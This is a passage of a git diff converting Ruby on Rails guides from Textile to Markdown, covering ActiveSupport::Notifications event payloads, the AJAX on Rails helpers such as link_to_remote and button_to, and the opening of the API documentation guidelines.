|Full path to template| - -<ruby> -{ - :identifier => "/Users/adam/projects/notifications/app/views/posts/_form.html.erb", -} -</ruby> - -h3. ActiveRecord - -h4. sql.active_record - -|_.Key |_.Value | -|+:sql+ |SQL statement| -|+:name+ |Name of the operation| -|+:object_id+ |+self.object_id+| - -INFO. The adapters will add their own data as well. - -<ruby> -{ - :sql => "SELECT \"posts\".* FROM \"posts\" ", - :name => "Post Load", - :connection_id => 70307250813140, - :binds => [] -} -</ruby> - -h4. identity.active_record - -|_.Key |_.Value | -|+:line+ |Primary Key of object in the identity map| -|+:name+ |Record's class| -|+:connection_id+ |+self.object_id+| - -h3. ActionMailer - -h4. receive.action_mailer - -|_.Key |_.Value| -|+:mailer+ |Name of the mailer class| -|+:message_id+ |ID of the message, generated by the Mail gem| -|+:subject+ |Subject of the mail| -|+:to+ |To address(es) of the mail| -|+:from+ |From address of the mail| -|+:bcc+ |BCC addresses of the mail| -|+:cc+ |CC addresses of the mail| -|+:date+ |Date of the mail| -|+:mail+ |The encoded form of the mail| - -<ruby> -{ - :mailer => "Notification", - :message_id => "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail", - :subject => "Rails Guides", - :to => ["users@rails.com", "ddh@rails.com"], - :from => ["me@rails.com"], - :date => Sat, 10 Mar 2012 14:18:09 +0100, - :mail=> "..." # ommitted for beverity -} -</ruby> - -h4. deliver.action_mailer - -|_.Key |_.Value| -|+:mailer+ |Name of the mailer class| -|+:message_id+ |ID of the message, generated by the Mail gem| -|+:subject+ |Subject of the mail| -|+:to+ |To address(es) of the mail| -|+:from+ |From address of the mail| -|+:bcc+ |BCC addresses of the mail| -|+:cc+ |CC addresses of the mail| -|+:date+ |Date of the mail| -|+:mail+ |The encoded form of the mail| - -<ruby> -{ - :mailer => "Notification", - :message_id => "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail", - :subject => "Rails Guides", - :to => ["users@rails.com", "ddh@rails.com"], - :from => ["me@rails.com"], - :date => Sat, 10 Mar 2012 14:18:09 +0100, - :mail=> "..." # ommitted for beverity -} -</ruby> - -h3. ActiveResource - -h4. request.active_resource - -|_.Key |_.Value| -|+:method+ |HTTP method| -|+:request_uri+ |Complete URI| -|+:result+ |HTTP response object| - -h3. ActiveSupport - -h4. cache_read.active_support - -|_.Key |_.Value| -|+:key+ |Key used in the store| -|+:hit+ |If this read is a hit| -|+:super_operation+ |:fetch is added when a read is used with +#fetch+| - -h4. cache_generate.active_support - -This event is only used when +#fetch+ is called with a block. - -|_.Key |_.Value| -|+:key+ |Key used in the store| - -INFO. Options passed to fetch will be merged with the payload when writing to the store - -<ruby> -{ - :key => 'name-of-complicated-computation' -} -</ruby> - - -h4. cache_fetch_hit.active_support - -This event is only used when +#fetch+ is called with a block. - -|_.Key |_.Value| -|+:key+ |Key used in the store| - -INFO. Options passed to fetch will be merged with the payload. - -<ruby> -{ - :key => 'name-of-complicated-computation' -} -</ruby> - -h4. cache_write.active_support - -|_.Key |_.Value| -|+:key+ |Key used in the store| - -INFO. Cache stores my add their own keys - -<ruby> -{ - :key => 'name-of-complicated-computation' -} -</ruby> - -h4. cache_delete.active_support - -|_.Key |_.Value| -|+:key+ |Key used in the store| - -<ruby> -{ - :key => 'name-of-complicated-computation' -} -</ruby> - -h4. cache_exist?.active_support - -|_.Key |_.Value| -|+:key+ |Key used in the store| - -<ruby> -{ - :key => 'name-of-complicated-computation' -} -</ruby> - -h3. Rails - -h4. deprecation.rails - -|_.Key |_.Value| -|+:message+ |The deprecation warning| -|+:callstack+ |Where the deprecation came from| - -h3. Subscribing to an event - -Subscribing to an event is easy. Use +ActiveSupport::Notifications.subscribe+ with a block to -listen to any notification. - -The block receives the following arguments: - -# The name of the event -# Time when it started -# Time when it finished -# An unique ID for this event -# The payload (described in previous sections) - -<ruby> -ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data| - # your own custom stuff - Rails.logger.info "#{name} Received!" -end -</ruby> - -Defining all those block arguments each time can be tedious. You can easily create an +ActiveSupport::Notifications::Event+ -from block args like this: - -<ruby> -ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| - event = ActiveSupport::Notification::Event.new args - - event.name # => "process_action.action_controller" - event.duration # => 10 (in milliseconds) - event.payload # => { :extra => :information } - - Rails.logger.info "#{event} Received!" -end -</ruby> - -Most times you only care about the data itself. Here is a shortuct to just get the data. - -<ruby> -ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| - data = args.extract_options! - data # { :extra => :information } -</ruby> - -You may also subscribe to events matching a regular expresssion. This enables you to subscribe to -multiple events at once. Here's you could subscribe to everything from +ActionController+. - -<ruby> -ActiveSupport::Notifications.subscribe /action_controller/ do |*args| - # inspect all ActionController events -end -</ruby> - -h3. Creating custom events - -Adding your own events is easy as well. +ActiveSupport::Notifications+ will take care of -all the heavy lifting for you. Simply call +instrument+ with a +name+, +payload+ and a block. -The notification will be sent after the block returns. +ActiveSupport+ will generate the start and end times -as well as the unique ID. All data passed into the +insturment+ call will make it into the payload. - -Here's an example: - -<ruby> -ActiveSupport::Notifications.instrument "my.custom.event", :this => :data do - # do your custom stuff here -end -</ruby> - -Now you can listen to this event with: - -<ruby> -ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data| - puts data.inspect # { :this => :data } -end -</ruby> - -You should follow Rails conventions when defining your own events. The format is: +event.library+. -If you application is sending Tweets, you should create an event named +tweet.twitter+. diff --git a/guides/source/ajax_on_rails.md b/guides/source/ajax_on_rails.md new file mode 100644 index 0000000000..97c56036e8 --- /dev/null +++ b/guides/source/ajax_on_rails.md @@ -0,0 +1,316 @@ +AJAX on Rails +============= + +This guide covers the built-in Ajax/JavaScript functionality of Rails (and more); +it will enable you to create rich and dynamic AJAX applications with ease! We will +cover the following topics: + +* Quick introduction to AJAX and related technologies +* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc +* Testing JavaScript functionality + +-------------------------------------------------------------------------------- + +Hello AJAX - a Quick Intro +-------------------------- + +AJAX is about updating parts of a web page without reloading the page. An AJAX +call happens as a response to an event, like when the page finished loading or +when a user clicks on an element. For example, let say you click on a link, which +would usually take you to a new page, but instead of doing that, an asynchronous +HTTP request is made and the response is evaluated with JavaScript. That way the +page is not reloaded and new information can be dynamically included in the page. +The way that happens is by inserting, removing or changing parts of the DOM. The +DOM, or Document Object Model, is a convention to represent the HTML document as +a set of nodes that contain other nodes. For example, a list of names is represented +as a `ul` element node containing several `li` element nodes. An AJAX call can +be made to obtain a new list item to include, and append it inside a `li` node to +the `ul` node. + +### Asynchronous JavaScript + XML + +AJAX means Asynchronous JavaScript + XML. Asynchronous means that the page is not +reloaded, the request made is separate from the regular page request. JavaScript +is used to evaluate the response and the XML part is a bit misleading as XML is +not required, you respond to the HTTP request with JSON or regular HTML as well. + +### The DOM + +The DOM (Document Object Model) is a convention to represent HTML (or XML) +documents, as a set of nodes that act as objects and contain other nodes. You can +have a `div` element that contains other `div` elements as well as `p` elements +that contain text. + +### Standard HTML communication vs AJAX + +In regular HTML comunications, when you click on a link, the browser makes an HTTP +`GET` request, the server responds with a new HTML document that the browsers renders +and then replaces the previous one. The same thing happens when you click a button to +submit a form, except that you make and HTTP `POST` request, but you also get a new +HTML document that the browser renders and replaces the current one. In AJAX +communications, the request is separate, and the response is evaluated in JavaScript +instead of rendered by the browser. That way you can have more control over the content +that gets returned, and the page is not reloaded. + +Built-in Rails Helpers +---------------------- + +Rails 4.0 ships with [jQuery](http://jquery.com) as the default JavaScript library. +The Gemfile contains `gem 'jquery-rails'` which provides the `jquery.js` and +`jquery_ujs.js` files via the asset pipeline. + +You will have to use the `require` directive to tell Sprockets to load `jquery.js` +and `jquery.js`. For example, a new Rails application includes a default +`app/assets/javascripts/application.js` file which contains the following lines: + +``` +// ... +//= require jquery +//= require jquery_ujs +// ... +``` + +The `application.js` file acts like a manifest and is used to tell Sprockets the +files that you wish to require. In this case, you are requiring the files `jquery.js` +and `jquery_ujs.js` provided by the `jquery-rails` gem. + +If the application is not using the asset pipeline, this can be accessed as: + +```ruby +javascript_include_tag :defaults +``` + +By default, `:defaults` loads jQuery. + +You can also choose to use Prototype instead of jQuery and specify the option +using `-j` switch while generating the application. + +```bash +rails new app_name -j prototype +``` + +This will add the `prototype-rails` gem to the Gemfile and modify the +`app/assets/javascripts/application.js` file: + +``` +// ... +//= require prototype +//= require prototype_ujs +// ... +``` + +You are ready to add some AJAX love to your Rails app! + +### Examples + +To make them working with AJAX, simply pass the `remote: true` option to +the original non-remote method. + +```ruby +button_to 'New', action: 'new', form_class: 'new-thing' +``` + +will produce + +```html +<form method="post" action="/controller/new" class="new-thing"> + <div><input value="New" type="submit" /></div> +</form> +``` + +```ruby +button_to 'Create', action: 'create', remote: true, form: { 'data-type' => 'json' } +``` + +will produce + +```html +<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json"> + <div><input value="Create" type="submit" /></div> +</form> +``` + +```ruby +button_to 'Delete Image', { action: 'delete', id: @image.id }, + method: :delete, data: { confirm: 'Are you sure?' } +``` + +will produce + +```html +<form method="post" action="/images/delete/1" class="button_to"> + <div> + <input type="hidden" name="_method" value="delete" /> + <input data-confirm='Are you sure?' value="Delete" type="submit" /> + </div> +</form> +``` + +```ruby +button_to 'Destroy', 'http://www.example.com', + method: 'delete', remote: true, data: { disable_with: 'loading...', confirm: 'Are you sure?' } +``` + +will produce + +```html +<form class='button_to' method='post' action='http://www.example.com' data-remote='true'> + <div> + <input name='_method' value='delete' type='hidden' /> + <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' /> + </div> +</form> +``` + +### The Quintessential AJAX Rails Helper: link_to_remote + +Let's start with what is probably the most often used helper: `link_to_remote`. It has an interesting feature from the documentation point of view: the options supplied to `link_to_remote` are shared by all other AJAX helpers, so learning the mechanics and options of `link_to_remote` is a great help when using other helpers. + +The signature of `link_to_remote` function is the same as that of the standard `link_to` helper: + +```ruby +def link_to_remote(name, options = {}, html_options = nil) +``` + +And here is a simple example of link_to_remote in action: + +```ruby +link_to_remote "Add to cart", + :url => add_to_cart_url(product.id), + :update => "cart" +``` + +* The very first parameter, a string, is the text of the link which appears on the page. +* The second parameter, the `options` hash is the most interesting part as it has the AJAX specific stuff: + * **:url** This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty `options` hash to `link_to_remote` - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the `url_for` format too. + * **:update** Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation: + + ```ruby + link_to_remote "Add to cart", + :url => add_to_cart_url(product), + :update => { :success => "cart", :failure => "error" } + ``` + + If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the DOM id `error` is updated rather than the `cart` element. + + * **position** By default (i.e. when not specifying this option, like in the examples before) the response is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the `position` parameter, with four possibilities: + * `:before` Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element. + * `:after` Similar behavior to `:before`, but in this case the response is inserted after the target element. + * `:top` Inserts the text into the target element, before its original content. If the target element was empty, this is equivalent with not specifying `:position` at all. + * `:bottom` The counterpart of `:top`: the response is inserted after the target element's original content. + + A typical example of using `:bottom` is inserting a new \<li> element into an existing list: + + ```ruby + link_to_remote "Add new item", + :url => items_url, + :update => 'item_list', + :position => :bottom + ``` + + * **:method** Most typically you want to use a POST request when adding a remote +link to your view so this is the default behavior. However, sometimes you'll want to update (PATCH/PUT) or delete/destroy (DELETE) something and you can specify this with the `:method` option. Let's see an example for a typical AJAX link for deleting an item from a list: + + ```ruby + link_to_remote "Delete the item", + :url => item_url(item), + :method => :delete + ``` + + Note that if we wouldn't override the default behavior (POST), the above snippet would route to the create action rather than destroy. + + * **JavaScript filters** You can customize the remote call further by wrapping it with some JavaScript code. Let's say in the previous example, when deleting a link, you'd like to ask for a confirmation by showing a simple modal text box to the user. This is a typical example what you can accomplish with these options - let's see them one by one: + * `:condition` => `code` Evaluates `code` (which should evaluate to a boolean) and proceeds if it's true, cancels the request otherwise. + * `:before` => `code` Evaluates the `code` just before launching the request. The output of the code has no influence on the execution. Typically used show a progress indicator (see this in action in the next example). + * `:after` => `code` Evaluates the `code` after launching the request. Note that this is different from the `:success` or `:complete` callback (covered in the next section) since those are triggered after the request is completed, while the code snippet passed to `:after` is evaluated after the remote call is made. A common example is to disable elements on the page or otherwise prevent further action while the request is completed. + * `:submit` => `dom_id` This option does not make sense for `link_to_remote`, but we'll cover it for the sake of completeness. By default, the parent element of the form elements the user is going to submit is the current form - use this option if you want to change the default behavior. By specifying this option you can change the parent element to the element specified by the DOM id `dom_id`. + * `:with` > `code` The JavaScript code snippet in `code` is evaluated and added to the request URL as a parameter (or set of parameters). Therefore, `code` should return a valid URL query string (like "item_type=8" or "item_type=8&sort=true"). Usually you want to obtain some value(s) from the page - let's see an example: + + ```ruby + link_to_remote "Update record", + :url => record_url(record), + :method => :patch, + :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')" + ``` + + This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id). + + * **Callbacks** Since an AJAX call is typically asynchronous, as its name suggests (this is not a rule, and you can fire a synchronous request - see the last option, `:type`) your only way of communicating with a request once it is fired is via specifying callbacks. There are six options at your disposal (in fact 508, counting all possible response types, but these six are the most frequent and therefore specified by a constant): + * `:loading:` => `code` The request is in the process of receiving the data, but the transfer is not completed yet. + * `:loaded:` => `code` The transfer is completed, but the data is not processed and returned yet + * `:interactive:` => `code` One step after `:loaded`: The data is fully received and being processed + * `:success:` => `code` The data is fully received, parsed and the server responded with "200 OK" + * `:failure:` => `code` The data is fully received, parsed and the server responded with **anything** but "200 OK" (typically 404 or 500, but in general with any status code ranging from 100 to 509) + * `:complete:` => `code` The combination of the previous two: The request has finished receiving and parsing the data, and returned a status code (which can be anything). + * Any other status code ranging from 100 to 509: Additionally you might want to check for other HTTP status codes, such as 404. In this case simply use the status code as a number: + + ```ruby + link_to_remote "Add new item", + :url => items_url, + :update => "item_list", + 404 => "alert('Item not found!')" + ``` + + Let's see a typical example for the most frequent callbacks, `:success`, `:failure` and `:complete` in action: + + ```ruby + link_to_remote "Add new item", + :url => items_url, + :update => "item_list", + :before => "$('progress').show()", + :complete => "$('progress').hide()", + :success => "display_item_added(request)", + :failure => "display_error(request)" + ``` + + * **:type** If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the `:type` option with the value of `:synchronous`. + +* Finally, using the `html_options` parameter you can add HTML attributes to the generated tag. It works like the same parameter of the `link_to` helper. There are interesting side effects for the `href` and `onclick` parameters though: + * If you specify the `href` parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser + * `link_to_remote` gains its AJAX behavior by specifying the remote call in the onclick handler of the link. If you supply `html_options[:onclick]` you override the default behavior, so use this with care! + +We are finished with `link_to_remote`. I know this is quite a lot to digest for one helper function, but remember, these options are common for all the rest of the Rails view helpers, so we will take a look at the differences / additional parameters in the next sections. + +### AJAX Forms + +There are three different ways of adding AJAX forms to your view using Rails Prototype helpers. They are slightly different, but striving for the same goal: instead of submitting the form using the standard HTTP request/response cycle, it is submitted asynchronously, thus not reloading the page. These methods are the following: + +* `remote_form_for` (and its alias `form_remote_for`) is tied to Rails most tightly of the three since it takes a resource, model or array of resources (in case of a nested resource) as a parameter. +* `form_remote_tag` AJAXifies the form by serializing and sending its data in the background +* `submit_to_remote` and `button_to_remote` is more rarely used than the previous two. Rather than creating an AJAX form, you add a button/input + +Let's see them in action one by one! + +#### `remote_form_for` + +#### `form_remote_tag` + +#### `submit_to_remote` + +### Serving JavaScript + +First we'll check out how to send JavaScript to the server manually. You are practically never going to need this, but it's interesting to understand what's going on under the hood. + +```ruby +def javascript_test + render :text => "alert('Hello, world!')", + :content_type => "text/javascript" +end +``` + +(Note: if you want to test the above method, create a `link_to_remote` with a single parameter - `:url`, pointing to the `javascript_test` action) + +What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior). + +Testing JavaScript +------------------ + +JavaScript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with JavaScript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it: + +* (Fire)Watir +* Selenium +* Celerity/Culerity +* Cucumber+Webrat +* Mention stuff like screw.unit/jsSpec + +Note to self: check out the RailsConf JS testing video diff --git a/guides/source/ajax_on_rails.textile b/guides/source/ajax_on_rails.textile deleted file mode 100644 index 67b0c9f0d3..0000000000 --- a/guides/source/ajax_on_rails.textile +++ /dev/null @@ -1,309 +0,0 @@ -h2. AJAX on Rails - -This guide covers the built-in Ajax/JavaScript functionality of Rails (and more); -it will enable you to create rich and dynamic AJAX applications with ease! We will -cover the following topics: - -* Quick introduction to AJAX and related technologies -* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc -* Testing JavaScript functionality - -endprologue. - -h3. Hello AJAX - a Quick Intro - -AJAX is about updating parts of a web page without reloading the page. An AJAX -call happens as a response to an event, like when the page finished loading or -when a user clicks on an element. For example, let say you click on a link, which -would usually take you to a new page, but instead of doing that, an asynchronous -HTTP request is made and the response is evaluated with JavaScript. That way the -page is not reloaded and new information can be dynamically included in the page. -The way that happens is by inserting, removing or changing parts of the DOM. The -DOM, or Document Object Model, is a convention to represent the HTML document as -a set of nodes that contain other nodes. For example, a list of names is represented -as a +ul+ element node containing several +li+ element nodes. An AJAX call can -be made to obtain a new list item to include, and append it inside a +li+ node to -the +ul+ node. - -h4. Asynchronous JavaScript + XML - -AJAX means Asynchronous JavaScript + XML. Asynchronous means that the page is not -reloaded, the request made is separate from the regular page request. JavaScript -is used to evaluate the response and the XML part is a bit misleading as XML is -not required, you respond to the HTTP request with JSON or regular HTML as well. - -h4. The DOM - -The DOM (Document Object Model) is a convention to represent HTML (or XML) -documents, as a set of nodes that act as objects and contain other nodes. You can -have a +div+ element that contains other +div+ elements as well as +p+ elements -that contain text. - -h4. Standard HTML communication vs AJAX - -In regular HTML comunications, when you click on a link, the browser makes an HTTP -+GET+ request, the server responds with a new HTML document that the browsers renders -and then replaces the previous one. The same thing happens when you click a button to -submit a form, except that you make and HTTP +POST+ request, but you also get a new -HTML document that the browser renders and replaces the current one. In AJAX -communications, the request is separate, and the response is evaluated in JavaScript -instead of rendered by the browser. That way you can have more control over the content -that gets returned, and the page is not reloaded. - -h3. Built-in Rails Helpers - -Rails 4.0 ships with "jQuery":http://jquery.com as the default JavaScript library. -The Gemfile contains +gem 'jquery-rails'+ which provides the +jquery.js+ and -+jquery_ujs.js+ files via the asset pipeline. - -You will have to use the +require+ directive to tell Sprockets to load +jquery.js+ -and +jquery.js+. For example, a new Rails application includes a default -+app/assets/javascripts/application.js+ file which contains the following lines: - -<plain> -// ... -//= require jquery -//= require jquery_ujs -// ... -</plain> - -The +application.js+ file acts like a manifest and is used to tell Sprockets the -files that you wish to require. In this case, you are requiring the files +jquery.js+ -and +jquery_ujs.js+ provided by the +jquery-rails+ gem. - -If the application is not using the asset pipeline, this can be accessed as: - -<ruby> -javascript_include_tag :defaults -</ruby> - -By default, +:defaults+ loads jQuery. - -You can also choose to use Prototype instead of jQuery and specify the option -using +-j+ switch while generating the application. - -<shell> -rails new app_name -j prototype -</shell> - -This will add the +prototype-rails+ gem to the Gemfile and modify the -+app/assets/javascripts/application.js+ file: - -<plain> -// ... -//= require prototype -//= require prototype_ujs -// ... -</plain> - -You are ready to add some AJAX love to your Rails app! - -h4. Examples - -To make them working with AJAX, simply pass the <tt>remote: true</tt> option to -the original non-remote method. - -<ruby> -button_to 'New', action: 'new', form_class: 'new-thing' -</ruby> - -will produce - -<html> -<form method="post" action="/controller/new" class="new-thing"> - <div><input value="New" type="submit" /></div> -</form> -</html> - -<ruby> -button_to 'Create', action: 'create', remote: true, form: { 'data-type' => 'json' } -</ruby> - -will produce - -<html> -<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json"> - <div><input value="Create" type="submit" /></div> -</form> -</html> - -<ruby> -button_to 'Delete Image', { action: 'delete', id: @image.id }, - method: :delete, data: { confirm: 'Are you sure?' } -</ruby> - -will produce - -<html> -<form method="post" action="/images/delete/1" class="button_to"> - <div> - <input type="hidden" name="_method" value="delete" /> - <input data-confirm='Are you sure?' value="Delete" type="submit" /> - </div> -</form> -</html> - -<ruby> -button_to 'Destroy', 'http://www.example.com', - method: 'delete', remote: true, data: { disable_with: 'loading...', confirm: 'Are you sure?' } -</ruby> - -will produce - -<html> -<form class='button_to' method='post' action='http://www.example.com' data-remote='true'> - <div> - <input name='_method' value='delete' type='hidden' /> - <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' /> - </div> -</form> -</html> - -h4. The Quintessential AJAX Rails Helper: link_to_remote - -Let's start with what is probably the most often used helper: +link_to_remote+. It has an interesting feature from the documentation point of view: the options supplied to +link_to_remote+ are shared by all other AJAX helpers, so learning the mechanics and options of +link_to_remote+ is a great help when using other helpers. - -The signature of +link_to_remote+ function is the same as that of the standard +link_to+ helper: - -<ruby> -def link_to_remote(name, options = {}, html_options = nil) -</ruby> - -And here is a simple example of link_to_remote in action: - -<ruby> -link_to_remote "Add to cart", - :url => add_to_cart_url(product.id), - :update => "cart" -</ruby> - -* The very first parameter, a string, is the text of the link which appears on the page. -* The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff: -** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too. -** *:update* Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation: - -<ruby> -link_to_remote "Add to cart", - :url => add_to_cart_url(product), - :update => { :success => "cart", :failure => "error" } -</ruby> - -If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the DOM id +error+ is updated rather than the +cart+ element. - -** *position* By default (i.e. when not specifying this option, like in the examples before) the response is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the +position+ parameter, with four possibilities: -*** +:before+ Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element. -*** +:after+ Similar behavior to +:before+, but in this case the response is inserted after the target element. -*** +:top+ Inserts the text into the target element, before its original content. If the target element was empty, this is equivalent with not specifying +:position+ at all. -*** +:bottom+ The counterpart of +:top+: the response is inserted after the target element's original content. - -A typical example of using +:bottom+ is inserting a new <li> element into an existing list: - -<ruby> -link_to_remote "Add new item", - :url => items_url, - :update => 'item_list', - :position => :bottom -</ruby> - -** *:method* Most typically you want to use a POST request when adding a remote -link to your view so this is the default behavior. However, sometimes you'll want to update (PATCH/PUT) or delete/destroy (DELETE) something and you can specify this with the +:method+ option. Let's see an example for a typical AJAX link for deleting an item from a list: - -<ruby> -link_to_remote "Delete the item", - :url => item_url(item), - :method => :delete -</ruby> - -Note that if we wouldn't override the default behavior (POST), the above snippet would route to the create action rather than destroy. - -** *JavaScript filters* You can customize the remote call further by wrapping it with some JavaScript code. Let's say in the previous example, when deleting a link, you'd like to ask for a confirmation by showing a simple modal text box to the user. This is a typical example what you can accomplish with these options - let's see them one by one: -*** +:condition+ => +code+ Evaluates +code+ (which should evaluate to a boolean) and proceeds if it's true, cancels the request otherwise. -*** +:before+ => +code+ Evaluates the +code+ just before launching the request. The output of the code has no influence on the execution. Typically used show a progress indicator (see this in action in the next example). -*** +:after+ => +code+ Evaluates the +code+ after launching the request. Note that this is different from the +:success+ or +:complete+ callback (covered in the next section) since those are triggered after the request is completed, while the code snippet passed to +:after+ is evaluated after the remote call is made. A common example is to disable elements on the page or otherwise prevent further action while the request is completed. -*** +:submit+ => +dom_id+ This option does not make sense for +link_to_remote+, but we'll cover it for the sake of completeness. By default, the parent element of the form elements the user is going to submit is the current form - use this option if you want to change the default behavior. By specifying this option you can change the parent element to the element specified by the DOM id +dom_id+. -*** +:with+ > +code+ The JavaScript code snippet in +code+ is evaluated and added to the request URL as a parameter (or set of parameters). Therefore, +code+ should return a valid URL query string (like "item_type=8" or "item_type=8&sort=true"). Usually you want to obtain some value(s) from the page - let's see an example: - -<ruby> -link_to_remote "Update record", - :url => record_url(record), - :method => :patch, - :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')" -</ruby> - -This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id). - -** *Callbacks* Since an AJAX call is typically asynchronous, as its name suggests (this is not a rule, and you can fire a synchronous request - see the last option, +:type+) your only way of communicating with a request once it is fired is via specifying callbacks. There are six options at your disposal (in fact 508, counting all possible response types, but these six are the most frequent and therefore specified by a constant): -*** +:loading:+ => +code+ The request is in the process of receiving the data, but the transfer is not completed yet. -*** +:loaded:+ => +code+ The transfer is completed, but the data is not processed and returned yet -*** +:interactive:+ => +code+ One step after +:loaded+: The data is fully received and being processed -*** +:success:+ => +code+ The data is fully received, parsed and the server responded with "200 OK" -*** +:failure:+ => +code+ The data is fully received, parsed and the server responded with *anything* but "200 OK" (typically 404 or 500, but in general with any status code ranging from 100 to 509) -*** +:complete:+ => +code+ The combination of the previous two: The request has finished receiving and parsing the data, and returned a status code (which can be anything). -*** Any other status code ranging from 100 to 509: Additionally you might want to check for other HTTP status codes, such as 404. In this case simply use the status code as a number: -<ruby> -link_to_remote "Add new item", - :url => items_url, - :update => "item_list", - 404 => "alert('Item not found!')" -</ruby> -Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action: - -<ruby> -link_to_remote "Add new item", - :url => items_url, - :update => "item_list", - :before => "$('progress').show()", - :complete => "$('progress').hide()", - :success => "display_item_added(request)", - :failure => "display_error(request)" -</ruby> - -** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+. -* Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though: -** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser -** +link_to_remote+ gains its AJAX behavior by specifying the remote call in the onclick handler of the link. If you supply +html_options[:onclick]+ you override the default behavior, so use this with care! - -We are finished with +link_to_remote+. I know this is quite a lot to digest for one helper function, but remember, these options are common for all the rest of the Rails view helpers, so we will take a look at the differences / additional parameters in the next sections. - -h4. AJAX Forms - -There are three different ways of adding AJAX forms to your view using Rails Prototype helpers. They are slightly different, but striving for the same goal: instead of submitting the form using the standard HTTP request/response cycle, it is submitted asynchronously, thus not reloading the page. These methods are the following: - -* +remote_form_for+ (and its alias +form_remote_for+) is tied to Rails most tightly of the three since it takes a resource, model or array of resources (in case of a nested resource) as a parameter. -* +form_remote_tag+ AJAXifies the form by serializing and sending its data in the background -* +submit_to_remote+ and +button_to_remote+ is more rarely used than the previous two. Rather than creating an AJAX form, you add a button/input - -Let's see them in action one by one! - -h5. +remote_form_for+ - -h5. +form_remote_tag+ - -h5. +submit_to_remote+ - -h4. Serving JavaScript - -First we'll check out how to send JavaScript to the server manually. You are practically never going to need this, but it's interesting to understand what's going on under the hood. - -<ruby> -def javascript_test - render :text => "alert('Hello, world!')", - :content_type => "text/javascript" -end -</ruby> - -(Note: if you want to test the above method, create a +link_to_remote+ with a single parameter - +:url+, pointing to the +javascript_test+ action) - -What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior). - -h3. Testing JavaScript - -JavaScript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with JavaScript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it: - -* (Fire)Watir -* Selenium -* Celerity/Culerity -* Cucumber+Webrat -* Mention stuff like screw.unit/jsSpec - -Note to self: check out the RailsConf JS testing video diff --git a/guides/source/api_documentation_guidelines.textile b/guides/source/api_documentation_guidelines.md index 3de5b119ee..dcfa7eb6fb 100644 --- a/guides/source/api_documentation_guidelines.textile +++ b/guides/source/api_documentation_guidelines.md @@ -1,14 +1,17 @@ -h2. API Documentation Guidelines +API Documentation Guidelines +============================ This guide documents the Ruby on Rails API documentation guidelines. -endprologue. +-------------------------------------------------------------------------------- -h3. RDoc +RDoc +---- -The Rails API documentation is generated with RDoc. Please consult the documentation for help with the "markup":http://rdoc.rubyforge.org/RDoc/Markup.html, and also take into account these "additional directives":http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html. +The Rails API documentation is generated with RDoc. Please consult the documentation for help with the [markup](http://rdoc.rubyforge.org/RDoc/Markup.html), and also take into account these [additional directives](http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html). -h3. Wording +Wording +------- Write simple, declarative sentences. Brevity is a plus: get to the point. @@ -16,67 +19,69 @@ Write in present tense: 